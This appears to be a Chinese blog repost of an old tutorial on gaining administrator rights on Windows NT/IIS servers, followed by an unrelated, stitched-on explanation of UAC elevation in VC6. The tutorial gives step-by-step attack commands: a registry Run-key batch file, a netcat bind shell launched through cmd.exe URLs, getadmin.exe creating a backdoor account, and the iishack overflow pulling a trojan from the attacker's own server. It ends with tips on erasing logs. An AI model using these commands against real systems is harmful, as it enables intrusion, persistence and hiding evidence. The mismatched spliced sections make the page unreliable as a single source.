获取NT的admin权限的方法

涉及程序: 
NT server 

描述: 
一般用户获取NT服务器Admin权限的方法

详细: 
获取NT的admin权限的方法:
一、通过修改注册表
凡是具有登录NT本机的用户,例如IUSR_machine,都具有对 HKEY_LOCAL_MACHINE/SOFTWARE/MICROSOFT/WINDOWS/CurrentVersion/Run 项的可读可写权限,该用户可以远程访问这个项。比如,他可以创建一个bat文件,文件内容为: cmd.exe /c net localgroup administrators 
IUSR_machine /add,把该文件copy到winnt目录下,然后在注册表上述的项添加一个数值,指向这个文件。
那么,当下次Admin登录到该机器上时,就会自动把IUSR_machine添加到Administrators组。
另,注册表键HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/User Shell Folders/Common Startup 也可以这么做。

二、自建telnet服务在NT上执行指令
要求用户有文件上传权限,而且该目录位于web目录下,该目录允许执行
下面是具体步骤
假设你的目录是www.xxx.com/frankie
那么,把cmd.exe(位于C:/winnt/system32/cmd.exe)和Netcat里面包含的nc.exe传到这个目录上去,
然后,在浏览器端输入:
http://www.xxx.com/frankie/cmd.exe?/c%20nc.exe%20-l%20-p%2023%20-t%20-e%20cmd.exe
这时候,你的浏览器将停止不动,实际上,server上的Telnet的服务已经产生了:
这时,用Telnet连接www.xxx.com的23端口,你发现,不用密码,不用登陆,对方C:/提示符已经出现在你的眼前!更妙的是,这个Telnet server是一个一次性的服务,当客户端一退出,该服务也将终止.
Netcat不同于一般的特洛伊木马,它可以构建任何的TCP连接服务.在浏览器端输入上述的字符串,等价于在NT的Dos方式下输入: nc -l -p 23 -t 

-e cmd.exe 这将把cmd.exe绑定到23端口上

三、入侵NTserver典型途径V2.0
简介
1、如果你有NT/IIS服务器的任何一个帐号,哪怕是guest帐号,都可以获得root
2、用netcat和iishack可以获得root
3、iusr_计算机名这个帐号有ftp上传,web执行等权限.
4、在web server上执行程序是入侵NT的关键
5、要在web server上执行程序就先要上传文件到cgi-bin目录或者scripts目录等有执行权限的目录上去
在本文中,目标机器的名称是ntsvr2,目标机器的域名是www.xxx.com,目标机器上有scripts和cgi-bin目录,scripts目录下有uploadn.asp等asp

程序,可能有guest帐号,肯定有iusr_ntsvr2这个帐号:
第一个方法,用iusr_ntsvr2后者guest这两个帐号,这里假设我们已经破解了这个帐号的密码:
在浏览器输入:
http://www.xxx.com/scripts/uploadn.asp
guest和iusr_ntsvr2这两个帐号都可以进这个asp页面
在这里把文件getadmin和gasys.dll以及cmd.exe上传到/scripts目录.
然后输入:http://www.xxx.com/scripts/getadmin.exe?IUSR_ntsvr2
大约十多秒后屏幕显示:
CGI Error 
这时有90%的可能是:你已经把IUSR_ntsvr2升级为Administrator,也就是任何访问该web站的人都是管理员
下面可以add user:
http://www.xxx.com/cgi-bin/cmd.exe?/c%20c:/winnt/system32/net.exe%20user%20china%20news%20/add 
这样就创建了一个叫china用户,密码是news,然后:
http://www.xxx.com/scripts/getadmin.exe?china
第二个方法,用匿名ftp:
如果允许匿名帐号ftp登陆的设定,也给我们带来了突破NT server的机会。我们用ftp登陆一个NT server,比如:www.xxx.com(示例名):
ftp www.xxx.com
Connected to www.xxx.com
220 ntsvr2 Microsoft FTP Service (Version 3.0). 
ntsvr2这个东西暴露了其NETbios名,那么在IIS的背景下,必然会有一个IUSR_ntsvr2的用户帐号,属于Domain user组,这个帐号我们以后要用来

获取Administrator的权限
User (www.xxx.com:(none)):anonymous
331 Anonymous access allowed, send identity (e-mail name) as password. 
Password: 输入 guest@ 或者guest
对于缺乏网络安全知识的管理员来说,很多人没有将guest帐号禁止,或者没有设置密码。那么guest帐号就是一个可用的正确的用户帐号,虽然

只属于Domain guest组
在这种情况下我们就可以进NT server的ftp了。
进去以后,看看目录列表,试试 cd /scripts 或cgi-bin等关键目录,如果运气好,改变目录成功,这时你就有了80%的把握。
把winnt下的cmd.execopy到cgi-bin,把getadmin和gasys.dll传上去到cgi-bin
然后输入:http://www.xxx.com/cgi-bin/getadmin.exe?IUSR_ntsvr2
大约十多秒后屏幕显示:
CGI Error 
这时有90%的可能是:你已经把IUSR_ntsvr2升级为Administrator,也就是任何访问该web站的人都是管理员
下面可以add user:
http://www.xxx.com/cgi-bin/cmd.exe?/c%20c:/winnt/system32/net.exe%20user%20china%20news%20/add 
这样就创建了一个叫china用户,密码是news,然后:
http://www.xxx.com/cgi-bin/getadmin.exe?china
或者
http://www.xxx.com/scripts/tools/getadmin.exe?china
你再用china的帐号登陆,就可以有最大的权限了,也可以用上面的cmd.exe的方法直接修改 如果没有cmd.exe,也可以自己传一个上去到

scripts/tools或者cgi-bin目录

第三个方法,用netcat和iishack
如果你熟悉使用Netcat这个工具,你就知道,netcat可以利用NT的弱点在其上绑定端口,下面用eEye的工具已经介绍过,如果你熟悉Netcat,成功的可能性会更大:

IIS的ISAPI的毛病(*.HTR) 我们再来看看eEye最近这两天发现的一个关于NT/IIS的问题和工具.在IIS的/Inetsrv目录下,有个DLL文件叫

ism.dll,这个模块在web运行的时候就被加载到较高的内存地址,并且导致了零字节问题到处出现
IIShack.asm ,利用这个毛病,eEye写了两个程序: 
iishack.exe
ncx99.exe,为达目的你必须自己有一个web server,把ncx99.exe和

netbus木马传到这个web server的目录下,比如你的web server是:
www.mysvr.com? 而对方的IIS server是www.xxx.com
则: iishack www.xxx.com 80 www.mysvr.com/ncx99.exe?? (注意,不要加http://字符!)
上述命令输入后这时你应该可以看到 
------(IIS 4.0 remote buffer overflow exploit)-----------------
(c) dark spyrit -- barns@eeye.com.
http://www.eEye.com
[usage: iishack <host> <port> <url> ]
eg - iishack www.xxx.com 80 www.mysvr.com/thetrojan.exe
do not include 'http://' before hosts!
---------------------------------------------------------------
Data sent!

然后,再把Netbus等特洛伊木马传到对方机器上去:
iishack www.example.com 80 www.myserver.com/netbus.exe
ncx99.exe实际上是有名的Netcat的变种,它把对方server的cmd.exe绑定到Telnet服务
ncx.exe 这是较早的版本,是把端口绑到80的,由于80端口跑web服

务,端口已经被使用.所以可能不一定有效
然后,用Telnet到对方的99或80端口:
Telnet www.xxx.com 99 
结果是这样:
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.

C:/>[You have full access to the system, happy browsing :)]
C:/>[Add a scheduled task to restart inetinfo in X minutes]
C:/>[Add a scheduled task to delete ncx.exe in X-1 minutes]
C:/>[Clean up any trace or logs we might have left behind.]

这样,你就完全控制了其硬盘上的文件!注意,如果你type exit退出,对方server上的这个进程也会退出
参考资料: eeye.zip

补救方法:在IIS的www service属性中将主目录的应用程序设置的*.htr的映射删除
微软对这个问题的正式回应

其它:用Retina.exe得到NT域内的帐号清单,逐个尝试这些帐号,如果有的密码薄弱而被你猜出来,就可以用上面的方法来获取NT的admin
不明白的地方请看黑客世界最新更新的有关NT的系列文章
版权属于CCSDT&Frankie所有 

解决方案: 
控制一般用户对注册表Run项的可写权限
打最新的Services Pack  

在VC6(Visual C++ 6.0)环境中开发的程序如果需要获取系统管理员权限,通常有两种常见的方式实现:一是通过提升进程自身的权限;二是创建一个新的以管理员身份运行的进程。然而需要注意的是,由于VC6比较古老,并且其本身并不直接支持UAC(用户账户控制),因此现代操作系统如Windows Vista及之后版本引入了更严格的权限管理机制。 下面分别介绍这两种方法的具体步骤以及注意事项: ### 方法一:请求管理员权限(适用于较新版本的操作系统) 对于Windows XP之前的老式系统来说,默认所有用户都拥有较高权限,而在Vista及以上版本,则需要显式的请求管理员权限才能执行某些敏感操作。 您可以在manifest文件中指定应用程序所需的最低权限级别为requireAdministrator即可完成这一需求: ```xml <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level="requireAdministrator" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo> </assembly> ``` 然后将此清单嵌入到您的exe可执行文件内。(请注意这种方法仅能作用于具有现代特性支持的新版Winows) --- ### 方法二:手动启动一个带高权限的应用程序实例 另一种方式是在普通权限下检测自身是否已获得足够的权利来进行特定任务。如果没有足够权限的话就尝试重新以最高特权的身份再次打开自己或其他相关工具软件来达到目标效果的目的。以下是代码片段演示如何判断当前线程是否具备Admin级别的Token并据此作出相应处理措施的例子: ```cpp #include <windows.h> #include <tchar.h> #include <stdio.h> BOOL IsUserAnAdmin() { PSID pAdministratorsGroup = NULL; SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; if (!AllocateAndInitializeSid( &NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &pAdministratorsGroup)) return FALSE; BOOL bIsAdmin = FALSE; if (!CheckTokenMembership(NULL, pAdministratorsGroup, &bIsAdmin)) { bIsAdmin = FALSE; } FreeSid(pAdministratorsGroup); return bIsAdmin ? TRUE : FALSE; } void RelaunchAsAdmin(LPCWSTR szAppPath) { SHELLEXECUTEINFO sei = { sizeof(sei) }; sei.lpVerb = L"runas"; sei.lpFile = szAppPath; sei.nShow = SW_NORMAL; ShellExecuteEx(&sei); } int _tmain(int argc, TCHAR *argv[]) { if(!IsUserAnAdmin()) { // 当前不是管理员则重启本程序要求管理员权限 RelaunchAsAdmin(GetCommandLineW()); printf("Please run this program as Administrator...\n"); return -1; } // 管理员模式下的正常业务逻辑... printf("Running with elevated privileges!\n"); getchar(); return 0; } ``` 上面这个例子首先检查现有的会话里有没有属于“管理员组”的SID存在。如果有说明此时此刻已经是以超级用户的形态登录进来了那么就可以继续往下走正常的流程路径啦~ 否则它就会调用ShellExecute函数带上参数verb设成”runas“, 这样就能弹框询问用户要不要给予更高一级别的访问许可咯~ **重要提示:** 强烈建议只针对确实必要的功能申请提权而不是整个应用全程保持高位运行状态哦!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值